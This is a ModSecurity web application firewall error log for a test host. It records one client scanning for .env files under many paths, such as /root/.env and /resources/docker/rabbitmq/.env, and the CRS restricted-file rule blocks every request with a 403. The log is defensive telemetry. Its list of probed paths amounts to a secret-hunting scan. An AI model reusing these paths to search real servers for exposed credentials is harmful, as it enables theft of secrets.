[Thu Feb 26 01:03:15.496125 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLwAAAAA&quot;]
[Thu Feb 26 01:03:15.496263 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLwAAAAA&quot;]
[Thu Feb 26 01:03:15.515615 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /results/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiAAAAAAE&quot;]
[Thu Feb 26 01:03:15.515848 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiAAAAAAE&quot;]
[Thu Feb 26 01:03:15.516007 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiAAAAAAE&quot;]
[Thu Feb 26 01:03:15.536103 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rediscommander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMAAAAAA&quot;]
[Thu Feb 26 01:03:15.536321 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMAAAAAA&quot;]
[Thu Feb 26 01:03:15.536468 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMAAAAAA&quot;]
[Thu Feb 26 01:03:15.569780 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resourcesync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMQAAAAA&quot;]
[Thu Feb 26 01:03:15.569988 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMQAAAAA&quot;]
[Thu Feb 26 01:03:15.570125 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMQAAAAA&quot;]
[Thu Feb 26 01:03:15.572781 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /robots/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiAgAAAAE&quot;]
[Thu Feb 26 01:03:15.573003 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiAgAAAAE&quot;]
[Thu Feb 26 01:03:15.573158 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiAgAAAAE&quot;]
[Thu Feb 26 01:03:15.627750 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMwAAAAA&quot;]
[Thu Feb 26 01:03:15.627950 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMwAAAAA&quot;]
[Thu Feb 26 01:03:15.628101 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizMwAAAAA&quot;]
[Thu Feb 26 01:03:15.656236 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /restapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNAAAAAA&quot;]
[Thu Feb 26 01:03:15.656443 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNAAAAAA&quot;]
[Thu Feb 26 01:03:15.656581 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNAAAAAA&quot;]
[Thu Feb 26 01:03:15.662973 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBAAAAAE&quot;]
[Thu Feb 26 01:03:15.663201 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBAAAAAE&quot;]
[Thu Feb 26 01:03:15.663334 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBAAAAAE&quot;]
[Thu Feb 26 01:03:15.679826 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /results/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNQAAAAA&quot;]
[Thu Feb 26 01:03:15.680032 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNQAAAAA&quot;]
[Thu Feb 26 01:03:15.680168 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNQAAAAA&quot;]
[Thu Feb 26 01:03:15.699262 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rosterback/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBQAAAAE&quot;]
[Thu Feb 26 01:03:15.699479 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBQAAAAE&quot;]
[Thu Feb 26 01:03:15.699616 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBQAAAAE&quot;]
[Thu Feb 26 01:03:15.721180 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcube/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBgAAAAE&quot;]
[Thu Feb 26 01:03:15.721386 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBgAAAAE&quot;]
[Thu Feb 26 01:03:15.721520 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBgAAAAE&quot;]
[Thu Feb 26 01:03:15.740879 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /robots/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNwAAAAA&quot;]
